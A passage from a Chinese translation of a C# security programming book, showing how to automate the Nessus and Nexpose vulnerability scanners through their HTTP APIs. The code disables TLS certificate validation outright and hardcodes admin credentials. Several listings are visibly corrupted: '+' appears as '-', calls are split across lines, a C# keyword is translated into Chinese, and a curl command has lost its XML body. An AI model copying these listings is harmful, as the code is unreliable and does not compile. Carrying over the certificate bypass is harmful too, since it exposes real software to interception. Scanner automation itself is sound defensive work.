NessusManager 类实现了 IDisposable ➊,这样我们就可以使用 NessusSession 与 Nessus API 进行交互,并在必要时自动注销。NessusManager 的构造函数接受一个参数——一个 NessusSession,并将其分配给私有的 _session 变量 ➋,NessusManager 中的任何方法都可以访问该变量。
Nessus 预配置了几种不同的扫描策略。我们将使用 GetScanPolicies()和 MakeRequest() ➌来从/editor/policy/templates URI 中检索策略及其 ID 的列表。CreateScan()的第一个参数是扫描策略 ID,第二个参数是要扫描的 CIDR 范围。(你也可以在此参数中输入一个以换行符分隔的 IP 地址字符串。)第三个和第四个参数可以分别用于存储扫描的名称和描述。由于我们的扫描仅用于测试目的,我们将为每个名称使用唯一的 Guid(全球唯一标识符,长串唯一的字母和数字),但随着你构建更复杂的自动化流程,可能需要采用一种命名扫描的系统,以便更容易跟踪它们。我们使用传递给 CreateScan()的参数创建一个新的 JObject ➍,该对象包含要创建的扫描的设置。然后我们将这个 JObject 传递给 MakeRequest() ➎,它将向/scans URI 发送一个 POST 请求,并返回关于特定扫描的所有相关信息,显示我们成功创建了(但并未启动!)一个扫描。我们可以使用扫描 ID 来报告扫描的状态。
一旦我们使用 CreateScan()创建了扫描,我们将把它的 ID 传递给 StartScan()方法,该方法会创建一个 POST 请求到/scans/
为了完成 NessusManager 的实现,我们实现 Dispose()方法以注销会话 ➐,然后通过将 _session 变量设置为 null 来清理资源。
执行 Nessus 扫描
Listing 5-7 显示了如何开始使用 NessusSession 和 NessusManager 来运行扫描并打印结果。
public static void Main(string[] args)
{
ServicePointManager.➊ServerCertificateValidationCallback =
(Object obj, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true;
using (NessusSession session = ➋new NessusSession("192.168.1.14", "admin", "password"))
{
using (NessusManager manager = new NessusManager(session))
{
JObject policies = manager.➌GetScanPolicies();
string discoveryPolicyID = string.Empty;
foreach (JObject template in policies["templates"])
{
if (template ["name"].Value
() == ➍"basic") discoveryPolicyID = template ["uuid"].Value
(); }
Listing 5-7: 获取扫描策略列表,以便我们使用正确的扫描策略开始扫描
我们通过首先禁用 SSL 证书验证来开始自动化(因为 Nessus 服务器的 SSL 密钥是自签名的,所以它们会验证失败),方法是将一个仅返回 true 的匿名方法分配给 ServerCertificateValidationCallback ➊。此回调由 HTTP 网络库用于验证 SSL 证书。仅返回 true 会导致接受任何 SSL 证书。接下来,我们创建一个 NessusSession ➋并传入 Nessus 服务器的 IP 地址以及 Nessus API 的用户名和密码。如果认证成功,我们将新的会话传递给另一个 NessusManager。
一旦我们获得了认证会话和管理器,就可以开始与 Nessus 服务器进行交互。我们首先通过 GetScanPolicies() ➌获取可用的扫描策略列表,然后使用 string.Empty 创建一个空字符串来存储基础扫描策略的扫描策略 ID,并遍历扫描策略模板。在遍历扫描策略时,我们检查当前扫描策略的名称是否等于字符串 basic ➍;这是一个很好的起点,用于执行一组小规模的未认证检查,针对网络中的主机。我们将基础扫描策略的 ID 存储起来,以便稍后使用。
现在,使用基础扫描策略 ID 创建并启动扫描,如 Listing 5-8 所示。
JObject scan = manager.➊CreateScan(discoveryPolicyID, "192.168.1.31",
"Network Scan", "对单个 IP 地址进行简单扫描。");
int scanID = ➋scan["scan"]["id"].Value
(); manager.➌StartScan(scanID);
JObject scanStatus = manager.GetScan(scanID);
while (scanStatus["info"]["status"].Value
() != ➍"completed") {
Console.WriteLine("扫描状态: " + scanStatus["info"]
["status"].Value
()); Thread.Sleep(5000);
scanStatus = manager.➎GetScan(scanID);
}
foreach (JObject vuln in scanStatus["vulnerabilities"])
Console.WriteLine(vuln.ToString());
}
}
清单 5-8:Nessus 自动化 Main() 方法的后半部分
在 ➊ 处,我们调用 CreateScan(),传入策略 ID、IP 地址、名称和方法描述,并将其响应存储在 JObject 中。然后,我们从 JObject 中提取扫描 ID ➋,以便将扫描 ID 传递给 StartScan() ➌ 开始扫描。
我们使用 GetScan() 来监控扫描,传入扫描 ID,将结果存储在 JObject 中,并使用 while 循环不断检查当前扫描状态是否已完成 ➍。如果扫描未完成,我们打印其状态,等待五秒钟,然后再次调用 GetScan() ➎。该循环将重复,直到扫描报告完成,此时我们会遍历并打印 GetScan() 返回的每个漏洞,使用 foreach 循环,这可能类似于 清单 5-9。根据你的计算机和网络速度,扫描可能需要几分钟才能完成。
$ mono ch5_automating_nessus.exe
扫描状态:运行中
扫描状态:运行中
扫描状态:运行中
--省略--
{
"count": 1,
"plugin_name": ➊"SSL 版本 2 和 3 协议检测",
"vuln_index": 62,
"severity": 2,
"plugin_id": 20007,
"severity_index": 30,
"plugin_family": "服务检测"
}
{
"count": 1,
"plugin_name": ➋"SSL 自签名证书",
"vuln_index": 61,
"severity": 2,
"plugin_id": 57582,
"severity_index": 31,
"plugin_family": "通用"
}
{
"count": 1,
"plugin_name": "SSL 证书无法信任",
"vuln_index": 56,
"severity": 2,
"plugin_id": 51192,
"severity_index": 32,
"plugin_family": "通用"
}
清单 5-9:使用 Nessus 漏洞扫描器进行自动化扫描的部分输出
扫描结果告诉我们,目标使用了弱的 SSL 模式(协议 2 和 3) ➊,以及在开放端口上使用了自签名的 SSL 证书 ➋。我们现在可以确保服务器的 SSL 配置使用了完全最新的 SSL 模式,然后禁用弱模式(或完全禁用该服务)。完成后,我们可以重新运行自动化扫描,确保 Nessus 不再报告使用任何弱 SSL 模式。
结论
本章向你展示了如何自动化 Nessus API 的各个方面,以完成对网络连接设备的无认证扫描。为了实现这一点,我们需要能够向 Nessus HTTP 服务器发送 API 请求。为此,我们创建了 NessusSession 类;然后,一旦能够与 Nessus 进行认证,我们创建了 NessusManager 类来创建、运行并报告扫描结果。我们用代码封装了一切,使用这些类基于用户提供的信息自动驱动 Nessus API。
这并不是 Nessus 所提供功能的全部,你可以在 Nessus API 文档中找到更多详细信息。许多组织需要对网络上的主机执行认证扫描,以获取完整的补丁列表,从而判断主机的健康状况,升级我们的自动化以处理这一需求将是一个很好的练习。
第六章
6
自动化 Nexpose

Nexpose 是一款类似于 Nessus 的漏洞扫描工具,但它针对企业级漏洞管理进行优化。这意味着它不仅帮助系统管理员找出需要修补的主机,还帮助他们随着时间的推移缓解并优先处理潜在漏洞。在本章中,我将向你展示如何使用 C# 来自动化 Rapid7 的 Nexpose 漏洞扫描工具,创建一个 Nexpose 站点、扫描该站点、生成该站点漏洞的 PDF 报告,然后删除该站点。Nexpose 的报告功能非常灵活和强大,允许你为从高管到技术管理员的各种受众自动生成报告。
就像在第五章中讨论的 Nessus 扫描器一样,Nexpose 也使用 HTTP 协议暴露其 API,但它使用 XML 格式而非 JSON 来格式化数据。如同在第五章中所述,我们将编写两个独立的类:一个与 Nexpose API 通信(会话类),另一个驱动 API(管理类)。一旦我们编写好这些类,你将学习如何运行扫描并查看结果。
安装 Nexpose
Nexpose 以各种形式和版本由 Rapid7 提供。我们将在一台全新安装的 Ubuntu 14.04 LTS 机器上使用 Rapid7 提供的 Nexpose 二进制安装程序,使用清单 6-1 中显示的命令和 URL。每当发布新版本时,URL 将会更新为最新的安装程序。如果该 URL 无法使用,您也可以在注册社区激活密钥(运行 Nexpose 所必需)后找到下载链接。下载安装程序后,我们需要设置可执行文件权限,以便之后以 root 身份运行安装程序。
$ wget http://download2.rapid7.com/download/NeXpose-v4/NeXposeSetup-Linux64.bin
$ chmod +x ./NeXposeSetup-Linux64.bin
$ sudo ./NeXposeSetup-Linux64.bin 清单 6-1:下载并安装 Nexpose
当安装程序在图形桌面环境中运行时,例如 KDE 或 GNOME,用户将看到一个图形化的安装程序界面,用于进行初始配置,如图 6-1 所示。如果你通过基于文本的环境(如 SSH)安装 Nexpose,安装程序将通过是/否问题和其他提示信息逐步进行配置。

图 6-1:图形化的 Nexpose 安装程序
一旦安装了 Nexpose,在终端中运行 ifconfig 查看 IP 地址,然后在浏览器中输入 https://ip:3780/,将 ip 替换为运行 Nexpose 的机器的 IP 地址。你应该能看到 Nexpose 的登录页面,如图 6-2 所示。

图 6-2:Nexpose 登录页面
使用在设置过程中要求的凭据。你可能会在看到登录页面之前遇到 SSL 证书错误。因为 Nexpose 默认使用自签名的 SSL 证书,你的浏览器可能不信任它,并可能会报错。这是正常且预期的。
激活与测试
当你第一次登录时,系统应该会提示你输入在注册社区版后通过电子邮件发送给你的激活密钥,如图 6-3 所示。

图 6-3:Nexpose 中的激活弹出窗口
现在测试你的安装,确保软件已正确激活,并且可以通过发送 HTTP 请求与 Nexpose API 进行身份验证。你可以使用 curl 工具向 API 发出身份验证请求并显示响应,如清单 6-2 所示。
$ curl -d '
' -X POST -k \ -H "Content-Type: text/xml" https://192.168.1.197:3780/api/1.1/xml
$
清单 6-2:使用 curl 成功通过 Nexpose API 进行身份验证
如果你看到一个包含 success="1" 和会话 ID 的响应,说明 Nexpose 已正确激活,且 API 按照你的凭据正常工作。
一些 Nexpose 术语
在我们进一步讨论如何管理和报告 Nexpose 中的漏洞扫描之前,我们需要定义几个术语。当你在 Nexpose 中启动漏洞扫描时,你扫描的是一个站点,站点是相关主机或资产的集合。
Nexpose 有两种类型的站点:静态站点和动态站点。在我们的自动化过程中,我们将重点关注前者。静态站点包含一个主机列表,你只能通过重新配置站点来更改该列表。这就是为什么它被称为静态——站点不会随着时间变化。Nexpose 还支持基于资产过滤器创建站点,因此动态站点中的资产可能会根据其漏洞计数或无法认证的情况从一周到另一周发生变化。动态站点更复杂,但比静态站点更强大,是一个值得通过额外作业来熟悉的好功能。
构成站点的资产只是你网络中可以与 Nexpose 通信的连接设备。这些资产可以是裸机数据中心机架服务器、VMware ESXi 主机或 Amazon AWS 实例。如果你能通过 IP 地址 ping 通它,它就可以是你 Nexpose 站点中的资产。许多时候,将物理网络中的主机分离到 Nexpose 中的逻辑站点是有益的,这样你就可以更精细地扫描和管理漏洞。一个复杂的企业网络可能会有一个专门用于 ESXi 主机的站点,一个用于高层管理人员网络段的站点,以及一个用于客户服务呼叫中心资产的站点。
NexposeSession 类
我们将从编写 NexposeSession 类开始,来与 Nexpose API 进行通信,如 清单 6-3 所示。
public class NexposeSession : IDisposable
{
public ➊NexposeSession(string username, string password, string host,
int port = ➋3780, NexposeAPIVersion version = ➌NexposeAPIVersion.v11)
{
this.➍Host = host;
this.Port = port;
this.APIVersion = version;
ServicePointManager.➎ServerCertificateValidationCallback = (s, cert, chain, ssl) => true;
this.➏Authenticate(username, password);
}
public string Host { get; set; }
public int Port { get; set; }
public bool IsAuthenticated { get; set; }
public string SessionID { get; set; }
public NexposeAPIVersion APIVersion
清单 6-3:NexposeSession 类的开始部分,包括构造函数和属性
NexposeSession 类的构造函数 ➊ 接受最多五个参数:其中三个是必需的(用户名、密码和连接的主机),两个是可选的(端口和 API 版本,默认为 3780 ➋ 和 NexposeAPIVersion.v11 ➌)。从 ➍ 开始,我们将 Host、Port 和 APIVersion 属性分别赋值为三个必需的参数。接下来,我们通过将 ServerCertificateValidationCallback 设置为始终返回 true,禁用 SSL 证书验证。这种做法违反了良好的安全原则,但由于 Nexpose 默认使用自签名证书在 HTTPS 上运行,我们禁用验证(否则,在 HTTP 请求过程中 SSL 证书验证会失败)。在 ➏,我们尝试通过调用 Authenticate() 方法进行身份验证,方法的详细代码见 清单 6-4。
public XDocument ➊Authenticate(string username, string password)
{
XDocument cmd = new ➋XDocument(
new XElement("LoginRequest",
new XAttribute("user-id", username),
new XAttribute("password", password)));
XDocument doc = (XDocument)this.➌ExecuteCommand(cmd);
➍if (doc.Root.Attribute("success").Value == "1")
{
➎this.SessionID = doc.Root.Attribute("session-id").Value;
this.IsAuthenticated = true;
}
else
throw new Exception("身份验证失败");
➏return doc;
}
清单 6-4:NexposeSession 类的 Authenticate() 方法
Authenticate() 方法 ➊ 接受用户名和密码作为参数。为了将用户名和密码发送到 API 进行身份验证,我们在 ➋ 创建一个具有根节点 LoginRequest 和 user-id、password 属性的 XDocument。我们将 XDocument 传递给 ExecuteCommand() 方法 ➌,然后存储 Nexpose 服务器返回的结果。
在 ➍,我们判断 Nexpose 的 XML 响应是否包含成功属性值 1。如果是的话,在 ➎ 我们将 SessionID 属性赋值为响应中的 session-id,并将 IsAuthenticated 设置为 true。最后,我们返回 XML 响应 ➏。
ExecuteCommand() 方法
清单 6-5 中显示的 ExecuteCommand() 方法是 NexposeSession 类的核心。
public object ExecuteCommand(XDocument commandXml)
{
string uri = string.Empty;
switch (this.➊APIVersion)
{
case NexposeAPIVersion.v11:
uri = "/api/1.1/xml";
break;
case NexposeAPIVersion.v12:
uri = "/api/1.2/xml";
break;
default:
throw new Exception("未知的 API 版本。");
}
清单 6-5:NexposeSession 类的 ExecuteCommand()方法的开始部分
在我们能够向 Nexpose 发送数据之前,我们需要知道使用哪个版本的 API,因此在➊处我们使用一个 switch/case 块(类似于一系列 if 语句)来测试 APIVersion 的值。例如,NexposeAPIVersion.v11 或 NexposeAPIVersion.v12 的值将告诉我们需要使用版本 1.1 或 1.2 的 API URI。
向 Nexpose API 发出 HTTP 请求
在确定了要发送 API 请求的 URI 之后,我们现在可以将 XML 请求数据发送到 Nexpose,如清单 6-6 所示。
byte[] byteArray = Encoding.ASCII.GetBytes(commandXml.ToString());
➊ HttpWebRequest request = WebRequest.Create("https://" + this.Host
- ":" + this.Port.ToString() + uri) as HttpWebRequest;
request.Method = ➋"POST";
request.ContentType = ➌"text/xml";
request.ContentLength = byteArray.Length;
using (Stream dataStream = request.GetRequestStream())
dataStream.➍Write(byteArray, 0, byteArray.Length); 清单 6-6:在 ExecuteCommand()中通过 HTTP 发送 XML 命令给 Nexpose
与 Nexpose 的 HTTP API 通信分为两个部分。首先,Nexpose 使用 XML 发出 API 请求,XML 会告诉 Nexpose 我们要执行的命令;然后,它读取 API 请求的响应结果。为了实际向 Nexpose API 发出 HTTP 请求,我们创建一个 HttpWebRequest ➊并将其 Method 属性设置为 POST ➋,ContentType 属性设置为 text/xml ➌,ContentLength 属性设置为我们 XML 的长度。接下来,我们将 API XML 命令字节写入 HTTP 请求流,并通过 Write() ➍方法将流发送到 Nexpose。Nexpose 将解析 XML,确定要执行的操作,然后在响应中返回结果。
Mono 中的 TLS
截至本文写作时,Mono 中的 TLS 状态仍在变化中。虽然 TLS v1.1 和 v1.2 的支持已编写完成,但目前默认并未启用。因此,HTTP 库可能无法发出 HTTPS 请求,并且只会输出一条关于身份验证失败的模糊异常。如果发生这种情况,那是因为 Nexpose 只允许 TLS v1.1 或 v1.2 连接,而 Mono 只能支持 v1.0。为了解决这个问题,您只需要添加一行代码,强制 Mono 通过 Burp Suite 代理进行测试,这是我们在第二章中使用的工具。
为了实现这一点,我们可以将清单 6-6 中的代码修改为清单 6-7 中的以下代码。
request.Method = "POST";
request.Proxy = new ➊WebProxy("127.0.0.1:8080");
request.ContentType = "text/xml"; 清单 6-7:为 TLS 设置代理
我们添加了一行代码来设置请求的代理属性,以便它指向一个正在监听的 Burp Suite 代理 ➊。Burp Suite 将愉快地为我们的 Mono 客户端协商一个 TLS v1.0 连接,并为 Nexpose 服务器协商一个 TLS v1.1/1.2 连接。当 TLS 问题得到解决——希望是在不久的将来——本书中的代码应该可以跨平台工作,而不需要这种绕过方法。
读取来自 Nexpose API 的 HTTP 响应
接下来,我们需要读取刚刚发出的 API 请求的 HTTP 响应。第 6-8 节 展示了如何通过读取 Nexpose 的 HTTP 响应来完成 ExecuteCommand() 方法,然后根据 HTTP 响应的内容类型返回 XDocument 或原始字节数组。在 第 6-8 节 完成 ExecuteCommand() 方法后,我们就能够发出 API 请求并根据响应的内容类型返回正确的响应数据。
string response = string.Empty;
using (HttpWebResponse r = request.➊GetResponse() as HttpWebResponse)
{
using (StreamReader reader = new ➋StreamReader(r.GetResponseStream()))
response = reader.➌ReadToEnd();
if (r.ContentType.Contains(➍"multipart/mixed"))
{
string[] splitResponse = response
.Split(new string[] {➎"--AxB9sl3299asdjvbA"}, StringSplitOptions.None);
splitResponse = splitResponse[2]
.Split(new string[] { ➏"\r\n\r\n" }, StringSplitOptions.None);
string base64Data = splitResponse[1];
return ➐Convert.FromBase64String(base64Data);
}
}
return XDocument.Parse(response);
}
第 6-8 节:NexposeSession 类的 ExecuteCommand() 方法的最后部分
通常,当你向 Nexpose 发送一个 XML 命令时,你会收到一个 XML 响应。但是当你请求一个漏洞扫描报告时,比如我们在执行漏洞扫描后请求的 PDF 报告,你会收到 HTTP 响应 multipart/mixed 而不是 application/xml。Nexpose 为什么根据 PDF 报告更改 HTTP 响应尚不明确,但因为我们的请求可能会返回一个包含 Base64 编码报告或 XDocument(我们在第三章 中首次使用的 XML 文档类)的响应,我们需要能够处理这两种类型的响应。
为了开始读取来自 Nexpose 的 HTTP 响应,我们调用 GetResponse() ➊ 以便读取 HTTP 响应流;然后我们创建一个 StreamReader ➋ 来将响应数据读取到字符串 ➌ 中,并检查其内容类型。如果响应类型是 multipart/mixed ➍,我们将响应分解为一个字符串数组,以便利用 Nexpose 的 multipart/mixed 响应总是使用字符串 --AxB9sl3299asdjvbA ➎ 来分隔 HTTP 响应中的参数这一特点来解析报告数据。
在 HTTP 响应被拆分后,结果字符串数组中的第三个元素将始终包含来自扫描的 Base64 编码报告数据。在➏处,我们使用两个换行序列(\r\n\r\n)来分隔出报告数据。现在我们可以仅引用 Base64 编码的数据,但首先我们必须从 Base64 编码的报告末尾删除一些无效数据。最后,我们将 Base64 编码的数据传递给 Convert.FromBase64String()➐,它返回一个 Base64 解码数据的字节数组,该数据可以被写入文件系统作为最终的 PDF 报告,供稍后阅读。
注销并清理会话
第 6-9 节展示了 Logout()和 Dispose()方法,它们将使我们能够轻松地注销会话并清理会话数据。
public XDocument ➊Logout()
{
XDocument cmd = new ➋XDocument(
new XElement(➌"LogoutRequest",
new XAttribute(➍"session-id", this.SessionID)));
XDocument doc = (XDocument)this.ExecuteCommand(cmd);
this.➎IsAuthenticated = false;
this.SessionID = string.Empty;
return doc;
}
public void ➏Dispose()
{
if (this.➐IsAuthenticated)
this.Logout();
}
第 6-9 节:NexposeSession 类的 Dispose()和 Logout()方法
在 Logout()方法➊中,我们构建了一个 XDocument➋,其中根节点为 LogoutRequest➌,并带有 session-id 属性➍。当我们将此信息作为 XML 发送给 Nexpose 时,它将尝试使会话 ID 令牌失效,从而有效地将我们注销。同时,我们将 IsAuthenticated➎设置为 false,并将 SessionID 设置为 string.Empty 以清理旧的身份验证信息;然后返回注销响应的 XML。
我们将使用 Dispose()方法➏(由 IDisposable 接口要求)来清理 Nexpose 会话。如你所见,在➐,我们检查是否已通过身份验证,如果是,则调用 Logout()来使会话失效。
查找 API 版本
第 6-10 节展示了我们如何使用 NexposeAPIVersion 来确定使用哪个 Nexpose API 版本。
public enum NexposeAPIVersion
{
v11,
v12
}
第 6-10 节:在 NexposeSession 类中使用的 NexposeAPIVersion 枚举
代码枚举 NexposeAPIVersion 为我们提供了一种简单的方法来确定应该向哪个 API URI 发起 HTTP 请求。在第 6-5 节中,我们正是通过 NexposeAPIVersion 来构建 API URI 并在 ExecuteCommand()中使用它。
驱动 Nexpose API
第 6-11 节展示了我们如何使用 NexposeSession 与 Nexpose API 通信,进行身份验证并打印 SessionID。这是一个很好的测试,可以确保我们迄今为止编写的代码按预期工作。
class MainClass
{
public static void Main(string[] args)
{
使用(NexposeSession session = new ➊NexposeSession("admin", "adm1n!", "192.168.2.171"))
{
Console.WriteLine(session.SessionID);
}
}
}
第 6-11 节:使用 NexposeSession 进行身份验证并打印 SessionID
在 ➊ 处,我们尝试通过将 Nexpose 服务器的用户名、密码和 IP 地址传递给一个新的 NexposeSession 来进行身份验证。如果身份验证成功,我们将在屏幕上显示分配给会话的 SessionID。如果身份验证失败,我们抛出一个包含“身份验证失败”消息的异常。
NexposeManager 类
如 Listing 6-12 所示的 NexposeManager 类允许我们创建、监视并报告扫描结果。我们从一个简单的 API 调用开始。
public class NexposeManager : ➊IDisposable
{
private readonly NexposeSession _session;
public NexposeManager(➋NexposeSession session)
{
if (!session.➌IsAuthenticated)
throw new ➍ArgumentException("尝试从 "
- "未经身份验证的会话。请进行身份验证。", "session");
_session = session;
}
public XDocument ➎GetSystemInformation()
{
XDocument xml = new XDocument(
new XElement("➏SystemInformationRequest",
new XAttribute("session-id", _session.SessionID)));
➐return (XDocument)_session.ExecuteCommand(xml);
}
public void ➑Dispose()
{
_session.Logout();
}
}
Listing 6-12:带有 GetSystemInformation() 方法的 NexposeManager 类
因为 NexposeManager 实现了 IDisposable ➊,我们通过声明 _session 来编写 Dispose() 方法,_session 保存 NexposeManager 将使用的 NexposeSession 类,并将 NexposeSession ➋ 作为唯一参数传递。如果 Nexpose 会话身份验证成功 ➌,我们将 _session 赋值为 session。如果不成功,我们抛出一个异常 ➍。
为了最初测试管理器类,我们将实现一个简短而简单的 API 方法,用于检索 Nexpose 控制台的一些基本系统信息。GetSystemInformation() 方法 ➎ 发出一个简单的 SystemInformationRequest API 请求 ➏,然后返回响应 ➐。
为了打印 Nexpose 系统信息(包括版本信息,例如正在使用的 PostgreSQL 和 Java 版本,以及硬件信息,例如 CPU 数量和可用内存),我们将 NexposeManager 添加到我们的 Main() 方法中,参考 Listing 6-11,如 Listing 6-13 所示。
public static void Main(string[] args)
{
using (NexposeSession session = new NexposeSession("admin", "Passw0rd!", "192.168.2.171"))
{
using (NexposeManager manager = new ➊NexposeManager(session))
{
Console.WriteLine(manager.➋GetSystemInformation().ToString());
}
}
}
Listing 6-13:在 Main() 方法中使用 NexposeManager 类
我们将 NexposeSession 类传递给 NexposeManager 构造函数 ➊,然后调用 GetSystemInformation() ➋ 来打印系统信息,如 图 6-4 所示。

图 6-4:通过 API 获取 Nexpose 系统信息
自动化漏洞扫描
在本节中,我们最后看一下如何使用 Nexpose 自动化漏洞扫描。我们创建一个 Nexpose 站点,扫描该站点,然后下载扫描结果报告。我们仅触及 Nexpose 强大扫描功能的表面。
创建带资产的网站
在启动 Nexpose 扫描之前,我们需要创建一个要扫描的网站。列表 6-14 显示了我们如何在 CreateOrUpdateSite()方法中构建创建网站的 XML API 请求。
public XDocument ➊CreateOrUpdateSite(string name, string[] hostnames = null,
string[][] ips = null, int siteID = ➋-1)
{
XElement hosts = new ➌XElement("Hosts");
if (➍hostnames != null)
{
foreach (string host in hostnames)
hosts.Add(new XElement("host", host));
}
if (➎ips != null)
{
foreach (string[] range in ips)
{
hosts.Add(new XElement ("range",
new XAttribute("from", range[0]),
new XAttribute("to", range[1])));
}
}
XDocument xml = ➏new XDocument(
new XElement("SiteSaveRequest",
new XAttribute("session-id", _session.SessionID),
new XElement("Site",
new XAttribute("id", siteID),
new XAttribute("name", name),
➐hosts,
new XElement("ScanConfig",
new XAttribute("name", "Full audit"),
new XAttribute(➑"templateID", "full-audit")))));
return (XDocument)_session.➒ExecuteCommand(xml);
}
列表 6-14:NexposeManager 类中的 CreateOrUpdateSite()方法
CreateOrUpdateSite()方法➊最多接受四个参数:可读的人类网站名称、任何主机名和 IP 范围以及网站 ID。传递-1➋作为网站 ID,如此所示,创建一个新的网站。在➌,我们创建了一个名为 Hosts 的 XML 元素,如果 hostnames 参数不为 null➍,我们将其添加到 Hosts 中。我们对传递的任何 IP 范围➎做同样的处理。
接下来,我们创建一个 XDocument ➏,其中根 XML 节点为 SiteSaveRequest,并包含一个 session-id 属性,用于告诉 Nexpose 服务器我们已经通过身份验证并可以进行此 API 调用。在根节点内,我们创建一个名为 Site 的 XElement 来保存新网站的具体信息和扫描配置详情,如要扫描的主机➐和扫描模板 ID➑。在➒时,我们将 SiteSaveRequest 传递给 ExecuteCommand(),并将 ExecuteCommand()返回的对象强制转换为 XDocument。
开始扫描
列表 6-15 显示了如何使用 ScanSite()和 GetScanStatus()方法开始网站扫描并获取其状态。希望你能开始看到,当 NexposeSession 类处理所有通信,而你只需要设置 API 请求的 XML 时,在 Manager 类中实现新的 API 功能是多么容易。
public XDocument ➊ScanSite(int ➋siteID)
{
XDocument xml = ➌new XDocument(
new XElement(➍"SiteScanRequest",
new XAttribute("session-id", _session.SessionID),
new XAttribute("site-id", siteID)));
return (XDocument)_session.ExecuteCommand(xml);
}
public XDocument ➎GetScanStatus(int scanID)
{
XDocument xml = ➏new XDocument(
new XElement("ScanStatusRequest",
new XAttribute("session-id", _session.SessionID),
new XAttribute("scan-id", scanID)));
return (XDocument)_session.ExecuteCommand (xml);
}
列表 6-15:NexposeManager 类中的 ScanSite()和 GetScanStatus()方法
ScanSite() 方法 ➊ 接受 siteID ➋ 作为扫描参数。我们创建一个 XDocument ➌,根节点为 SiteScanRequest ➍,然后为其添加 session-id 和 site-id 属性。接着,我们将 SiteScanRequest XML 发送到 Nexpose 服务器并返回响应。
GetScanStatus() 方法 ➎ 接受一个参数,检查扫描 ID,这是 ScanSite() 方法返回的。创建一个新的 XDocument ➏,根节点为 ScanStatusRequest,添加 session-id 和 scan-id 属性后,我们将生成的 XDocument 发送到 Nexpose 服务器,并将响应返回给调用者。
创建 PDF 站点报告并删除站点
Listing 6-16 显示了我们如何使用 GetPdfSiteReport() 和 DeleteSite() 方法通过 API 创建扫描报告并删除站点。
public byte[] GetPdfSiteReport(int siteID)
{
XDocument doc = new XDocument(
new XElement(➊"ReportAdhocGenerateRequest",
new XAttribute("session-id", _session.SessionID),
new XElement("AdhocReportConfig",
new XAttribute("template-id", "audit-report"),
new XAttribute("format", ➋"pdf"),
new XElement("Filters",
new XElement("filter",
new XAttribute("type", "site"),
new XAttribute("id", ➌siteID))))));
return (➍byte[])_session.ExecuteCommand(doc);
}
public XDocument ➎DeleteSite(int siteID)
{
XDocument xml = new XDocument(
new XElement(➏"SiteDeleteRequest",
new XAttribute("session-id", _session.SessionID),
new XAttribute("site-id", siteID)));
➐ return (XDocument)_session.ExecuteCommand(xml);
}
Listing 6-16:NexposeManager 类中的 GetPdfSiteReport() 和 DeleteSite() 方法
两个方法都只接受一个参数,即站点 ID。为了生成 PDF 报告,我们使用 ReportAdHocGenerateRequest ➊ 并指定 pdf ➋ 和 siteID ➌。我们将 ExecuteCommand() 返回的对象转换为字节数组 ➍,而不是 XDocument,因为 Nexpose 会为 ReportAdHocGenerateRequest 返回一个 multipart/mixed 的 HTTP 响应。我们返回 PDF 报告的原始字节流,供调用方法使用。
我们使用 DeleteSite() ➎ 删除站点,创建一个 SiteDeleteRequest XDocument ➏,然后调用 API 并返回结果 ➐。
综合起来
现在你已经知道如何通过编程操作 Nexpose,接下来让我们创建一个新的 Nexpose 站点,扫描它,生成其漏洞的 PDF 报告,并删除该站点。Listing 6-17 通过创建一个新站点并通过我们两个新类获取其 ID 来开始这一过程。
public static void Main(string[] args)
{
using (NexposeSession session = new ➊NexposeSession("admin", "adm1n!", "192.168.2.171"))
{
using (NexposeManager manager = new ➋NexposeManager(session))
{
➌string[][] ips =
{
new string[] { "192.168.2.169", ➍string.Empty }
};
XDocument site = manager.➎CreateOrUpdateSite(➏Guid.NewGuid().ToString(), null, ips);
int siteID = int.Parse(site.Root.Attribute("site-id").Value); Listing 6-17:创建临时站点并获取站点 ID
在创建 NexposeSession ➊ 和 NexposeManager ➋ 对象之后,我们将要扫描的 IP 地址列表作为字符串 ➌ 传入,包含起始地址和结束地址。要扫描单个 IP,请使用空字符串作为第二个元素,如 ➍ 所示。我们将目标 IP 列表与一个 Guid ➏ 作为临时站点名称一起传递给 CreateOrUpdateSite() ➎。(我们只需要一个唯一的字符串作为站点名称。)当我们收到来自 Nexpose 创建临时站点的 HTTP 响应时,我们从 XML 中提取站点 ID 并存储它。
启动扫描
清单 6-18 展示了如何通过基本上保持在一个 while 循环中并等待扫描完成来运行和监控漏洞扫描。
XDocument scan = manager.➊ScanSite(siteID);
XElement ele = scan.XPathSelectElement("//SiteScanResponse/Scan");
int scanID = int.Parse(ele.Attribute("scan-id").Value);
XDocument status = manager.➋GetScanStatus(scanID);
while (status.Root.Attribute("status").Value != ➌"finished")
{
Thread.Sleep(1000);
status = manager.GetScanStatus(scanID);
Console.➍WriteLine(DateTime.Now.ToLongTimeString()+": "+status.ToString());
}
清单 6-18:启动和监控 Nexpose 扫描
我们通过将站点 ID 传递给 ScanSite() ➊ 来开始扫描,然后从响应中获取扫描 ID,并将其传递给 GetScanStatus() ➋。接下来,在一个 while 循环中,我们每隔几秒钟检查一次扫描状态,只要扫描状态还没有完成 ➌。然后,我们再次检查扫描状态,并使用 WriteLine() ➍ 向用户显示状态消息。
生成报告并删除站点
一旦扫描完成,我们就可以生成报告并删除站点,如 清单 6-19 所示。
byte[] report = manager.➊GetPdfSiteReport(siteID);
string outdir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
string outpath = Path.Combine(outdir, ➋siteID + ".pdf");
File.➌WriteAllBytes(outpath, report);
manager.➍DeleteSite(siteID);
}
}
}
清单 6-19:检索 Nexpose 网站报告,将其写入文件系统,然后删除该网站
为了生成报告,我们将站点 ID 传递给 GetPdfSiteReport() ➊,它返回一个字节数组。然后,我们使用 WriteAllBytes() ➌ 将 PDF 报告保存在用户的桌面目录中,文件名为站点的 ID ➋ 并加上 .pdf 后缀。然后我们使用 DeleteSite() ➍ 删除该站点。
运行自动化
清单 6-20 展示了如何运行扫描并查看其报告。
C:\Users\example\Documents\ch6\bin\Debug>.\06_automating_nexpose.exe
11:42:24 PM: <ScanStatusResponse success="1" scan-id="4" engine-id="3" status=➊"running" />
--snip--
11:47:01 PM:
11:47:08 PM: <ScanStatusResponse success="1" scan-id="4" engine-id="3" status=➋"integrating" />
11:47:15 PM: <ScanStatusResponse success="1" scan-id="4" engine-id="3" status=➌"finished" />
C:\Users\example\Documents\ch6\bin\Debug>dir \Users\example\Desktop*.pdf
C 盘的卷为 Acer
卷序列号是 5619-09A2
目录 C:\Users\example\Desktop
07/30/2017 11:47 PM 103,174 4.pdf ➍
09/09/2015 09:52 PM 17,152,368 Automate the Boring Stuff with Python.pdf
2 个文件 17,255,542 字节
